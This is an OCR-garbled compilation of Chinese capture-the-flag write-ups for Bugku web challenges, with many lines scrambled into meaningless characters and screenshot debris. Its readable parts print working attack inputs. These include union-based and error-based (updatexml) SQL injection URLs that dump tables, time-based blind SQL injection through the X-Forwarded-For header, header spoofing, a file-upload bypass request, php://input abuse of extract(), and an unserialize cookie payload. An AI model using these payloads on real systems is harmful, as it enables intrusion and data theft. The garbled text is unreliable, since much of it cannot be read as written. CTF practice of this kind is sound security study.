
BSOS, [S1RflaghB: NTYSNTES 6LeR55qEEL+YSLINGZSZ77yMS57uZ5L2gZmxhZ +WQpzogTIRZMUSURTM =

YT ERATRE B N 7R 8, L2 B s as b, B E——F
import requests,base64

url = "http://123.206.87.240:8002/web6/"'

request = requests.session

flag =base64.b64decode(request.get(url).headers| 'flag’
key = base64.b64decode(flag|[flag.find("':")+2

flag = request.post(url,{ 'margin': key}).content

print flag

cookiesik Ui

s

i3 SERRIN I
http://123.206.87.240:8002/web11/
1% UK E Y{0000000000000¢
Writeup:

BHEMH, {fEurl R I—baseb4 % 7 4%F

ritgrgggggpoathegfdiofid Bty 398 whrefeoiahfeiafehbaienvdivibgtubgtrsgbvaerubaufibryrirgregeggpoathegfdiofid 8ty 398 whrefeoiahfeiafehbalenvdivrbgtubgtrsgbvaerubaufibry

fifh5 5 T LA 21 e keys. txt

[ Dashboard YTarget T Proxy 1' Intruder 1' Repeater 1' Sequencer ]' Decoder I Comparer T Extender 1' Project options T User aptions

(® Text () Hex ®
| Decode as ... v
| Encode as ... v

|Hash -
Smart decode

® Text () Hex

| Decode as ... B

| Encode as ... -

|Hash -

{ |/ Smar cecode |

a2Vhey50eHO=

keys.txd



http://123.206.87.240:8002/web11/

IR FATFEindex. phpdi i¥ ibase644mis, # A Elurlh

alW5kZXgucGhw

@® Text () Hex @
|_ Decode as ... v
|_ Encode as ... I~

| Hash ... v
Smart decode

@ Text () Hex

index.php

|_ Decode as .. A

| Encode as ... &

|_ Hash ... -

| Smart dacode |

BA T EAR AT LUE 2 —A <2php , A TT EARIEUr_E 1line Z B R &l AT 4K

view-source:http://123. y y?line=&filename=aW5kZX

F FH burp B 47 4%
[Target T Paositions I Payloads T Options l B! Intruder attack 1 - m] *

@ Payload Sets Attack Save Columns
J Results TTarget I Positions TF’ayInads I Options ]

You can define one or more payload sets. The number of payload sets depends on the
and each payload type can be customized in different ways .

‘ Filter: Showing all items ‘@

Bavicadset: ‘.1 'J Rayioadicomit 20 Request 4 | Payload | Status |Emor | Timeout | Length | Comment

]

Payload type: | Numbers v Request count: 20 0 200 U Ll 156
' 1 1 200 L ] 156
2 2 200 (] O 204
@ Payload Options [Numbers] 3 3 200 [} ] 18
This payload loads within a gi di fed i - 4 200 g 0 208
is payload type generates numeric payloads within a given range and in a specified i - 5 200 O O 16
" 6 6 200 O 0O 154
. 7 7 200 L ] 155
Type: (® Sequential () Random 8 g 500 O g 138
From: 1 9 9 200 o [T %
To: 20 Request | Response
Step: 1 Raw | Headers | Hex | Render ]
HTTP/1.1 200 QK ’A

How many: Senver. nginx

Date: Fri, 23 Oct 2020 04:44:45 GMT
Content-Type: text/html

Connection: close

Base: ® Decimal (O Hex Content-Length: 21

Min integer digits: errer_reporting(0);

Max integer digits:

Min fraction digits:

PA R T A



error_reporting(0);#/EmiRE

=base64_decode(isset "filename'])? "filename']:"");#GET /2l I35 &1 Llename, 25 rbase64fF %, 1%
A$filedE
=isset 'line'])?intval 'line']):0;# MWl ine FEE 1777, WRAZFHNLine %0
if =='") header("location:index.php?line=&filename=a2V5cy50eHQ=");# 47 Efile L &F X5, NBki%index.php?line=&f1i
Lename=a2V5cy50eHQ=
= array

'Q' =>"keys.txt'
'1' =>"index.php'
#EXSfile_List#4

if(isset 'margin']) && 'margin']=="margin'){#4/£ 7 -cookie FHmargin, Hmargin i *margin, H/fil
e_ListH 44 # 1 iikeys . php
2]="keys.php'

if(in_array
= file
echo

SATUFARRD JG RITE, 301 cookie:margin=margin Bl R[] 1 Hikeys.php

payload:

http://123.206.87.240:8002/webll/index.php?line=&filename=a2V5cy5waHA=

DEte NEE (etess Owe ORe BB  TEeRs 338 0AEs & MaxHackBar

Domain Path Expires / Max-Age For HitpOnly Secure SameSite ==

I margin margin

123.206.87.240 fweb11 Sat, 24 Oct 2020 09:48:._. MNone
PHPSESSID s0goainul8amfod078697 nfbfcfk2ere 123.206.87.240 ! =5 41 true false Mone Fri, 2

A U EAY, W] LA fiflag

| = <?ohp $key="KEY{key keys}': 2> |

never give up

s
http://123.206.87.240:8006/test/hello.php
PR 5 UKIN


http://123.206.87.240:8006/test/hello.php

Writeup:

BENR B JE EE AR, KRR

never never never give up !!!

oy D= Oesls DERE NEE (Jesss O rr BEE 1 AEsihs 3 uEEs M

<html> |event

head>«/head

<body>never never never give up !!l</body>

</html>

Vi 1 5 B9 Bk % FlbugkuctfE

bugku.com

EHET WA
B L\ g kL\ itls FIiBCTF | Tools CTFEA HU
—_— L N ]

FIECTFEMEES! ! !
EEfEEE www.bughku.com BI¥EE...
O D= Ol DFSs NEE (JEgEss O Orr B & 7 TESs 85 WEES  #f Max HacKBar

TR — R, Hburpdl, Ki%F|repeaterfiHidiiT & A
| | | | 1

_ 1 1 1 1 1
GET /test/1p.html|HTTP/1 1 : <HTML> i
Host: 123.206.87.240:6006 <HEAD=>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; nv:82.0) Gecko/20100107 Firefox/82.0 <SCRIPT LANGUAGE="Javascript">
Accept: text/html applicationfxhtml+xmlapplication/xml;g=0.9 image/webp " q=0 8 <l
Accept-Language: zh-CM zh;q=0.8 zh-TW,;q=0.7 ,zh-HK; q=0.5,en-US;q=0.3 &n;q=0.2
Accept-Encoding: gzip, deflate
Connection: close var Words
Cookie: PHPSESSID=s0qoainul@amfodd7 8697 nfbfcfkZers ="%3Cscripta3Ewindow.location.href%3D %27 http %3 A/ www.bugku.com %27 %3B%3 C/script’3
Upgrade-Insecure-Requests: 1 E%20%0A%3C%21--JTlyJTNCaWYIMjgIMEIMjRFROVUJTVCITIZaWQIMjcINUQIMjKIMEEINOIIME
X-Forwarded-For: 127.0.0.1 EIMDIoZWFKZX1IMjgIMjdMb2Nhd GivbiUzQSUyMGhIbGxvLnBocCUzRmIkJTNEMSUyNyUyOSU

zQiUwQSUwOWW4 aXQIMjgIMjkIMOIIMEEINO QIMEEIMjRpZCUzRCUyNFIHRVQINUIIMjdpZCUy

NyU1RCUzQiUwQ S UyNGEIMOQIMjRROVUITVCITIZYSUyNyU1RCUz QiUwQSUyNGIIMOQIM]jRF

ROVUJTVCITI3YiUyNyU1RCUzQiUwQWIm.TH c3RyaXBveyUy O CUyNGEIMKMIMjcuJ TI3JTISITI
5JTBBJTd CJTBBJTASZWN obyUyMCUyN25v) Tiwhm8IMjBubyUyMG5v.  Tiwhm8IMjBubyUyMGS
VITI3JTNCJTBBJTASecmV0 dXJuJTiwJTNCIJTBBJTAEJTBBJTIOZGFOYSUyMCUzRCUyMEBmaW
x1X2d1dF9jb2507W50 cyUy 0 CUyNGEIMKMIMjdyJ TIBJTISJTNCIJTBBaWYIMjgIMjRKYXRhJTNEJT
NEJTlyYnVna3UIMjBpcyUyMGEIMjBuaWNIJTiwcGxhdGVmb3JtIThx TiyJ ThwYW5 kJ TiwJ TI0a

WQIMOQIMO 0w TIwYWS kJTiwc3Ryb GVuJTI4JTIOYiUyOSUzRTUIMjBhbmQIMjBlcmVnaSUyO

CUyMExMSUyMi5zdW.JzdHIIMjgIMjRiJTJDMCUyQz EIMjkIMKkMIMjlx MTEO Ty JTISJTIwYWS5kJ

Tlwe3Vic3RyJTIHJTIOYiUyQzAIMKMxJTISJTIXJTNENCUy O SUwQSU3QiUwQSUwOXJlcXVpem

UIMjgIMjJmNGwyYTNnLnR4dCUyMily0SUzQiUwQSU3RCUwQWWYsc2UIMEEINOIIMEEIMD Iwc

mludCUyMCUyMmS| dmVyJ TiwbmV2ZXIIMjBuZXZlciUyMG dp dmUIMjB1 cCUyMCUyMS UyMS Uy
MSUyMiUzQiUwQSUIRCUwQSUwOSUwOSUzRiUzRQ%3D%3D--%3E"

function OutWord()

{

var NewWords;

NewWords = unescape(Words);

document.write(NewWords);

A LA B — K H g B O A0RS,  urlfdétd 5 & 30— K Hhbase64 2w il

MEEINIME DI iudCUMCU iy T2 MG MM MU MSUMSUMUGUnSURCUMOSUOSUOSURIRORIONID-SE = T+

|_ Decode as ... A

| Frrada as -l



7+ |

Hash ...

Smart decode

[~

J

_<script=window location.href="http:/fwww bugku com’ </script>

(® Text () Hex

<=-JThy J TNCaWY IMjgIMEIMRFROVUITVCITIZaWalMjc INUQIMKIMEEINOIMEEIMDIoZWFkZXIIM|gIMjdMb2Nhd GlvbiUzQ SUyMGhlbGxvl nBoc CUzRmIkJTNEMSUy Ny UyOSUzQiUwQ SUw

h Decode as ..

Encode as ...

Hash ...

=

- Iv]

(® Text () Hex ®
Encode as ... |=
Hash ___

|=

l Smart decode J

JThyJTHCaWY IMjgIMEIM]RIROVUITV CITIZaWQIMjcINUQIMjKIMEEINOIMEEIMDIoZWFZXIIMjgIMjdMb2NhdGivbilzQSUyMGhlbGaxvlnBoc CUzRmIkJTNEMS Uy Ny Uy OSUzQiUwQ SUwOW

4l
-

@® Text () Hex
Decode as ..
Encode as ...
Hash ...

|=

l Smart decode J

® Text () Hex

liDecode as ... |v]

Encode as .. |=

Hash _.. |=

PLj T T l Smart decode J

‘$data = @file_get_contents($a.T): [a] @ Text O Hex

ififdata=="bugku is a nice plateform!" and Sid==0 and strlen($b)=5 and eregi("111".substr{$k.0,1)."1114") and substr($b.0,1)=4) ——
{ Decode as ... |=
, require("f412a3g o v
else Hash .. &
{ —
print "never never never give up ", [v l Smart decode J

Vi lAlflag 3CARE ] 3k B flag

f412a3g.txt

flag{tHis i5 THe flaB}

welcome to bugkuctf

A H
http://123.206.87.240:8006/test1/
fE+#: pupil

Writeup:
Vi ) )5 H 31404

]



http://123.206.87.240:8006/test1/

A — )1

ER
http://123.206.87.240:8010/

B RK A — )i

="a#tsH#sHe#r#t"
=explode ("#" = (4] 1 2 3 4 5

Writeup:
FHBHBER 7R

ttubizBflag, flagAMT, THBMT. —MIEREA

TAF? IR ?

=
TR IEN?
http://123.206.87.240:8002/web10/

Writeup:

highlight_file('2.php"’

:'KEY{********************************}'
= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim "id"
if
die('key is: '

UNLGEIWIE

o R EM TR 54k

. BT

" TLRAER K

4.7y ILRRASITAMHIR 4
Ve B RUR AT

0 & IR

ozl : DURRAER NS S it
[punctll: VCHEAEAThR £7%

payload:

keyakeyaaaaakey:/a/aaakeya!


http://123.206.87.240:8002/web10/

EIM= preg match("/key.*key. {4, Tikev:\/ .\ (. "key) [a-2] [ [
if( SIM )4
die('key i=:

T

.Ekev);

35 key is: KEY {0x0SIOPhS50afc)

A 2 < (SKCTF)

/”‘UI ] ! H
http://123.206.31.85:49162/
flagh%z:  SKCTF{X0000000000000KXXX}

Writeup:
AHAT AT T

login1(SKCTF)

BH

http://123.206.31.85:49163/

flagh® zl:  SKCTF {X000000000000000¢
hint:SQL# A X it

Writeup:
EHAT AT T

fR AR L ok

il H

http://123.206.87.240:9009/from.php
Writeup:

burpf, 1. Referer: https://www.google.com

tpunct:]]1/51i", trim[S_EET[";d"]],

GET ffram.php HTTR/1.1

Host: 123.206.87.240:9009

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64; nv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/htmlapplication/xhtml+xml application/xml;q=0.9 image/webp **,q=0.8
Accept-Language: zh-CN,zh;q=0.8 ,zh-TW, q=0.7 zh-HK;q=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Referer, https:/fwww.gooale.com

Connection: close

Cookie: PHPSESSID=s0qoainul8amfod078657 nibfcfkZers
Upgrade-Insecure-Requests: 1

¥-Forwarded-For: 127.0.0.1

Pragma: no-cache

Cache-Control: no-cache

md5 collision(NUPT_CTF)

W H

http://123.206.87.240:9009/md5.php

T

HTTP/M.1 200 OK

Semnver ngink

Date: Fri, 23 Oct 2020 10:30:04 GMT
Content-Type: text/html

Connection: close

Content-Length: 21

flag{bug-ku_ai_admin}

L



http://123.206.31.85:49162/
http://123.206.31.85:49163/
http://123.206.87.240:9009/from.php
http://123.206.87.240:9009/md5.php

Writeup:
Al LLE E LU FMDSAE, HsEMDSTEHE flphpfa B b ¢, KK #EB A LAVEG T#E— T

http://123.206.87.240:9009/md5 . php?a=s878926199a

flag{md5>_collision_is_easy}

FE 77 51 A 3t R

i H
http://123.206.87.240:8002/localhost/
T A L 1 ]

Writeup:
F| FiiX-Forwarded-For Headerifi {15 tip % 127.0.0.1 B AT

123.206.87.240:

flag{loc-al-h-o-st1} IP Address:
127.0.0.1

Recently used IPs:

Send the following headers:

eI

Wil H
B SRt gy

http://123.206.87.240:8002/web7/

Writeup:


http://123.206.87.240:8002/localhost/
http://123.206.87.240:8002/web7/

highlight file('flag.php'
'id'] = urldecode 'id! #idZaur fF15
= "Flag{ XXXXXXXXXXXXXXXXXX}"
if (isset 'uname’ and isset 'passwd’ H#GET f£47uname 24, #POST f£#ipasswd &
if 'uname'] == 'passwd’
#4718 uname 2 Fpasswd, 1577 HILI FF47H

print 'passwd can not be uname.'

else if (shal "uname’ === shal 'passwd’ ] )& 'id' ]=="margin'
#41Runame Spasswd 115, I H BN & FIshal izZ-7 11 E A%, WFTHIfLag
die('Flag: '
else

print 'sorry!’

FrunameFlipasswdZE K H 4L, SRIGHENNFRIFINE, XX, AN Tshatin®, S2shat—#FE, mEAMATRAZ RN E
HA—FE.

payload:

http://123.206.87.240:8002/web7/?id=margin&uname[]=1

post:

passwd[]=2

<?php

highlight file('flag.php'):

£ GET['id'] = urldecods (£ _GET['id']);:

Eflag = '"flag!{HMMXNHMHXKHMXKHMHRIK

if (isset(5_ ['"uname"]) and ;sse:is_PCST:'passwd':{
if EE_GET: '] == %_POST['passwd'])

print 'passwd can not be uname.';

else if (shal(% GE uname === shal (% POST['pas=swd aIE_GET id']=="margin
die('Flag Sflag
else
3} Flag: flag {HACK_45hhs 213sDD}
O D= Oess DEE NAE ((eess O Oar B &E 7w TSR 35 UEES  # Max HackBar

Load URL ‘ hitp://123.206.87.240:8002/web7/?id=margin&uname[]=1

Y Spit URL ‘

¥ Post Data M Referrer Reverse 4 4a Basetd i @ Url & | IMD5 & SHA1 & SHA256 4 ROTIS e

Post data




web8

ALH -
txt? 2 7 ?
http://123.206.87.240:8002/web8/

Writeup:

<?php

extract($_GET);#extract() KEMEH 11535 E FAF 2 Gil)77 52

if (lempty($ac))#&$ac LEE LN

{

$f = trim(file_get_contents($fn));#/ N LIEEFEAS N 715 5
if ($ac === $f)# L RSacF T $f K rJFiKfLag

{
echo "<p>This is flag:" ." $flag</p>";

}

else

{

echo "<p>sorry!</p>";
}
}

?>

1.extractr] URMEAL &, AU E D lE$ac, i &
2file_get contents®] LLEL &rphp:/finput® A2, AL I$fH
payload:

http://123.206.87.240:8002/web8/?ac=flag&fn=php://input

ZEREETRA L (E N ER L, (AR


http://123.206.87.240:8002/web8/

1 <?php
extract (§_GET);
] if (lempt

$f = trim(file_get_contents($fn));

8 if (fac === &£f)
o "<p>This is flag:" ." §flag</p>":
else
echo "<p>zorry!L/pE":
>

This 1s flag: flag{3cfb7a0fc0de31} I

O O==s Desls DEEE N AEs ((E5EE O ue Oar B e ¢ TEEiRs 358 ERF B Max HackBar

‘ Load URL ‘ hitp://123.206.87.240:8002/web8/?ac=flag&fn=php://input

‘ U Spit URL ‘

‘ © Execution ‘

¥ Post Data Ml Referrer Reverse a» 4a Base6d i @ Url & | MD5 & SHA1 & SHA256 & ROTI3 i

Post data

AR admin


http://123.206.87.240:8002/web13/

Writeup:
Vil 5 404, NIRTE, JEREEH, 240

Something error:

404 Not Found

No such file or directory.

Please check or try again later.

Generated by kangle/3.5.5.

VjArobots.txt, KIL—A> S resusl.php

User-agent: *
Disallow: /resusl.php

KRR, T E ST 4 Eadmin

i0451% B X-Forwarded-For Header

http://123.206.87.240:8002/web13/resusl.php?x=admin

>k getshell

A :
Rgetshell
http://123.206.87.240:8002/web9/

Writeup:

IP Address:

127.0.0.1|

Recently used IPs:

Send the following headers:
M %-Forwarded-For

] X-Originating-IP
M %-Remote-IP
EA v pegte il



http://123.206.87.240:8002/web9/

1. 0 K Sk B ) Content-Type - B 4 il K 5 4T 583
2. R4 4 phpsseid

— L L L

— L L L L L

POST jweb3/index.php HTTP/M 1

Host: 123.206.87.240:8002

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; n:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html application/xhtml+xml application/xml;g=0.9 image/webp *™q=0.8
Accept-Language: zh-CN,zh;q=0.8 zh-TW,q=0.7 zh-HK;q=0.5 en-US;q=0.3 en;q=0.2

Accept-Enco gzip, deflate
Content-Typparta’form-data; boundary=------eemeeeee e 1309903690191089308533666823847
Content-Length: 390

Origin: http://123.206.87.240:8002

Connection: close

Referer: http://123.206.87.240:8002/web3/index.php
Cookie: PHFSESSID=s0qoainul8amfod078697 nfbfcfkZers
Upgrade-Insecure-Requests: 1

K-Forwarded-For: 127.0.0.1

X-Originating-1P: 127.0.0.1

¥-Remote-1P: 127.0.0.1

¥-Remote-Addr: 127.0.0.1

----------------------------- 130990369019108930853366823847
Content-Disposition: form-data; nam+"ﬂ|e"; filename="1php5"
Content-Type: imagefjpeg

fds ajlkjfdk saljfdsfd

fdkslajfdsa

fidsklafldsajkjlksa

----------------------------- 130990369019108930853366823847
Content-Disposition: form-data; name="submit"

Submit

---130990365019108930853366623847--

INSERT INTO:= A

i H

Hudik: http://123.206.87.240:8002/web15/

flagh#:X:  flag{roooooocooood
N5 /~Pythonil

HTTR/1.1 200 OK

Server: nginx

Date: Fri, 23 Cct 2020 14:11:56 GMT
Content-Type: text/html

Connection: close

Content-Length: 268

<html=
<hody>

<form action="index.php" method="post" enctype="multipart/form-data">

My name is margin,give me a image file not a php<br=
<hr>

<input type="fil2" name="file" id="file" />

<input type="submit" name="submit" value="Submit" />
<fform:=

KEY{bh35dc123820e}


http://123.206.87.240:8002/web15/

error_reporting(0);

function getIp(){

$ip = '

if(isset($ SERVER[ 'HTTP_X_FORWARDED FOR'])){
$ip = $_SERVER[ "HTTP_X_FORWARDED_FOR'];
telse{

$ip = $_SERVER[ 'REMOTE_ADDR'];

}

$ip_arr = explode(',', $ip);

return $ip_arr[@];

)
$host="1localhost";
$user="";
$pass="";

$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();

echo 'your ip is :'.$ip;

$sql="insert into client_ip (ip) values ('$ip"')";
mysql_query($sql);

Writeup:

wAiatt, & 7R R WriteupsgfEiptiE N, T HAUS KB AF TN

B2 T 1R 2 payload # 5y, 1M Hsleep i Atth e 420, WERWIBAL KA MR 1, BEPFRIX B wpitihk .

GET fweb15/ HTTP/1.1 LA\ HTTR/A.1 200 Gk :
Host: 123.206.87.240:8002 Server nginx
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4; x64; n82.0) Gecko/20100101 Date: Sat, 31 Oct 2020 16:50:50 GMT
Firefox/a2.0 Content-Type: text/html
Accept: text/html application/xhtml-+xml, application/xml;q=0.9 image/webp **;q=0.8 Connection: close
Accept-Language: zh-CN,zh;q=0.8,zh-TW,q=0.7 zh-HK;q=0.5 en-US;q=0.3 en;q=0.2 Content-Length: 27
Accept-Encoding: gzip, deflate
Connection: close your ip is :11'+sleep(30)+"
Cookie: PHPSESSID=sh88k3BE764imnumanbpecolmB28elu
Upgrade-Insecure-Requests: 1
X-Forwarded-For; 11'+sleep(30)+
Content-Length: 2
-
¥ L4
® w lLJ liJ Type a search term 0 matches @ liJ l;J tJ Type a search term 0 matches
Ready 162 bytes | 51 millis
GET fweb15/ HTTP/1 1 LA\ HTTP/.1 200 OK A
Host: 123.206.87 . 240:8002 Semver. nginx 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win4; x64; v:82.0) Gecko/20100101 Date: Sat, 31 Oct 2020 16:51:41 GMT
Firefox/82.0 Content-Type: text/html
Accept: text/html, application/xhtml+xml application/zml;g=0.9 imagefwebp,*™q=0.8 Connection: close
Accept-Language: zh-CN,zh;q=0.8,zh-TW,q=0.7 zh-HK;q=0.5,en-US;q=0 3 en;q=0.2 Content-Length: 36
Accept-Encoding: gzip, deflate
Connection: close your ip is :11"+sleep30)+and "1="1
Cookie: PHPSESSID=sh88k3166764imnumanbpeolmb2iSciu
Upgrade-Insecure-Requests: 1
¥-Forwarded-For: 11'+sleep(30)+and "1="
Content-Length: 2
=
L L
@ liJ l;J bJ Type a search term 0 matches @ liJ tJ tJ Type a search term 0 matches

Ready

171 bytes | 50 millis



GET fweb15/ HTTF/.1 . HTTR/1.1 200 OK &
Host: 123.206.57.240:8002 N\ Serer nginx 3
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64; rv82.0) Gecko20100101 Date: Sat, 31 Oct 2020 16:54:53 GMT
Firefox/82.0 Content-Type: text/html
Accept: text/html application/xhtml+xml application/xml,q=0.9 imagefwebp,**,q=0.8 Connection: close
Accept-Language: zh-CN,zh;q=0.8 zh-TW;q=0.7 zh-HIK;q=0.5 en-US;q=0.3 en;q=0.2 Content-Length: 51
Accept-Encoding: gzip, deflate [l
Connection: close your ip is :127.0.0.1'+(select sleep(3)) and "1="1
Cookie: PHPSESSID=sh88k3E67E4imnumanbpcol mE2iBclu
Upgrade-Insecure-Requests: 1
¥-Forwarded-For: 127.0.0.1'+(selzct sleep(3)) and '1'="1
Content-Length: 2 J
- >
LS L4
@ |Type a search ferm 0 matches ® | Type a search term 0 matches
Done 186 bytes | 57 millis

XA AT A

A
http://123.206.87.240:9001/sql/
flagt® :flag}

Writeup:
& H 404

E2VN
B

http://123.206.87.240:9004

A i 24 flag
flagh /NG
flagh =\ flag{}

Writeup:
id=5 I i fd s T DAFE X LN

You can do some SQL injection in here.

hitps://blog.csdn.netfweixin_41924764

KIland, orfE TR s K, AT RIS SR

# TR [B] IEH
http://123.206.87.240:9004/1ndex.php?id=5"' anandd 1=1%23


http://123.206.87.240:9001/sql/
http://123.206.87.240:9004

You can do some SQL injection in here.

hitps:/fblog.csdn.netiweixin_41924764

# 0TI 3% 1] B 15
http://123.206.87.240:9004/1ndex.php?id=5"' anandd 1=2%23

https://blog.csdn.netweixin_41924764

#E I TR
http://123.206.87.240:9004/1ndex.php?id=5" oorrder by 2%23

#AZA
http://123.206.87.240:9004/1ndex.php?id=-5" uniunionon selselectect 1,2%23

HEH 2 FTHIE T HIZ, /2 Einformation FlH/ A Tor, #FEN G560
http://123.206.87.240:9004/1ndex.php?id=-5" uniunionon selselectect 1,group _concat(table_name) from infoorrmatio
n_schema.tables where table_schema=database()%23

#EW G HIE A FEflagl @ flagl,address
http://123.206.87.240:9004/1ndex.php?id=-5"' uniunionon selselectect 1,group concat(column_name) from infoorrmati
on_schema.columns where table _name='flagl'%23

#ZHFLlagl B B
http://123.206.87.240:9004/1ndex.php?id=-5" uniunionon selselectect 1,group_concat(flagl) from flagl%23



4 iflag1: usOwycTju+FTUUZXosjr

© & 123.206.87.24

B — bk

http://123.206.87.240:9004/1ndex.php?id=-5%27%20uniunionon%20selselectect%201, group_concat(address)%20from%20fla
gl1%23

fa 123.206.87.240:9004

e

N AN 5] S FINHR SRR, T LA AR

http://123.206.87.240:9004/0nce_More.php?id=1"

© & 123.206.87.240:9004/Once |

LoL,YOU Find ME!
BUT,
I wanT TEIl You,

I Have Best Waf Protect Me Now!
Find Me!

My Id

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "1™ at line 1




# BT 24 BT 3
http://123.206.87.240:9004/0nce_More.php?id=1"' and updatexml (1, (concat(0x7c, (select group concat(table_name) fro

m information_schema.tables where table schema=database()))),1)%23

# B2 FIFLag2 7 T )7

http://123.206.87.240:9004/0nce_More.php?id=1"' and updatexml (1, (concat(éx7c, (select group_concat(column_name) fr
om information_schema.columns where table_name='flag2'))),1)%23

# 2T Lag2 F BT 2

http://123.206.87.240:9004/0nce_More.php?id=1"' and updatexml (1, (concat(éx7c, (select group_concat(flag2) from fla
92))),1)%23

LoL,YOU Find ME!
BUT,

I wanT TEI You,

I Have Best Waf Protect Me Now!

Find Me!

My Id =1" and upd

WP N HN: flag{Bugku-sql_6s-2i-4t-bug}

A Ragi i /0 5

HH

fR4aHWwuF CYYVydFRxMgHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=

Writeup:

flagh%: SKCTFooocoocoooooodod
hint: 3O (L5

Writeup:
ALH 2ATANTT


https://ctf.bugku.com/files/6b8e8eb682d757d851cd5dcdca349668/PHP_encrypt_1.zip
https://blog.csdn.net/weixin_41924764/article/details/109404236
http://123.206.31.85:49166/

flag.php

i H

Hidlk: http://123.206.87.240:8002/flagphp!
1T loginE ¥ S N

PR hint

Writeup:
logingiA T, B H#Zrhint. GET/efmhintZ &, ST %, KImEHL 1.

http://123.206.87.240:8002/flagphp/index.php?hint=1

< ?php
error reportingi(0):;
include once ("flag.php"):

fcockie = § COOKIE]
if (isset (%_GET['hint'])

show_source(_ FILE

e2lseif (unserialize(fcookies) === "SHEY")
secho "Eflag":

else

T

<html>

<head>

<meta nttp-squiv="Content-Type" content="text/html; charset=UIF-8">
ftitle>loging/title>
<link rel="stylesheet" href="admin.css" type="text/css3">
</head>
<body>
<br>
<div class="container" align="center">
<form method="POST" action="#">
<prLinput name="user" type="text" placeholder="Usernams"></p>
<pr<input name="password" type="password" placeholder="Password"></p>
<pr<input valuse="Login" type="button"/></p>
</ form>
</fdiv>
</body>
</html>



http://123.206.87.240:8002/flagphp/

<?php

error_reporting(®);

include_once("flag.php");

$cookie = $ COOKIE['ISecer'];##ificookiedSHISecer

if(isset($_GET['hint'])){# MM 2 LG TENint Bh, WBHTZRY

show_source(__FILE_ );

}

BT U4

elseif (unserialize($cookie) === "$KEY")#/FF/ft§cookieZEFgkey &, N Aflag

{  #EHEZHGNNDIL, Rey B riRkIG A #ie X, FIETERTIHLZH #E X

echo "$flag";
)
else {
?>
<html>
<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
<form method="POST" action="#">

<p><input name="user" type="text" placeholder="Username"></p>

<p><input name="password" type="password" placeholder="Password"></p>

<p><input value="Login" type="button"/></p>
</form>
</div>
</body>
</html>

<?php
}

$KEY="ISecer:www.isecer.com';
?>

FHburpki%

payload:

Cookie: ISecer=s:0:"";

- L 1 1 1 - L 1 1 1
GET fﬂagphpfindex.php|H'I‘I’Pf1.1 A HTTR#.1 200 OK
Host: 123.206.87.240:8002 8 Sernver: nginx

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4, x64; nv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html application/xhtml+xml application/xml;q=0.9 imagefwebp *™* q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7 ,zh-HK;q=0.5 en-US; q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Cookie: |Secer=s:0:"";

Upgrade-Insecure-Requests: 1

sqliE A2

Date: Fri, 23 Oct 2020 16:08:51 GMT
Content-Type: text/html

Connection: close

Content-Length: 27

flag{unserialize_by_virink}



il H

http://123.206.87.240:8007 /web2/

Gftmid JE 14BN ?
Tﬂ%ﬁ—\‘ !1!=1=1+1-1A1%
Writeup:

.DS_Storeittiz

MHATA:
https://github.com/lijiejie/ds_store_exp

B #1719 http://123.206.87.240:8007 /web2/flag 3.3k Bt flag

PINXXH 1225

H
http:/123.206.87.240:2014
i I EREE MR — 05 SR

Writeup:

B VOER A, R NI E R Iiflagiar, SRS H skda i Elphpmyadmin, B3 07 1] B RHE DS HASE] T A TR
g

Trimi) Hid A&

B,
http://123.206.87.240:9002/
hints: AN — LT

Writeup:
ERSEEHE
v Esan) SaEsRE R EEkE By:HaIiliE QQ:343034656 — 4
fat43 |http:i{123.206.8?.240:9002/’ | e E1FFE
32 10 o | (5 cPUBEgs + ey [ DTR: 1153 [] aspy: azz 200
A E [] 4sF: 1854 PHE: 1066 [ EMl403
A8 (R BRI EnE R ) DH]]B: 418 D T5P: 631 D FEEEy
IHEES: R FHESR: 0 FHEERE: 03
o it HTTEMaIRE
1 http: //123. 206, 7. 240:9002/1ozin. php 200
2 http: /123 Z06 87, 2409002 resister. phy 200
|:3 http: /123, 206, 67, 240 9002/ show. php | 200

Ui EL% R onflag


http://123.206.87.240:8007/web2/
https://github.com/lijiejie/ds_store_exp
http://123.206.87.240:8007/web2/flag
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https://blog.csdn.net/weixin_41924764/article/details/109488408
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http://123.206.31.85:49165/
http://123.206.31.85:49167/
http://123.206.87.240:9011/
http://123.206.31.85:1616/
https://blog.csdn.net/weixin_41924764/article/details/109488408
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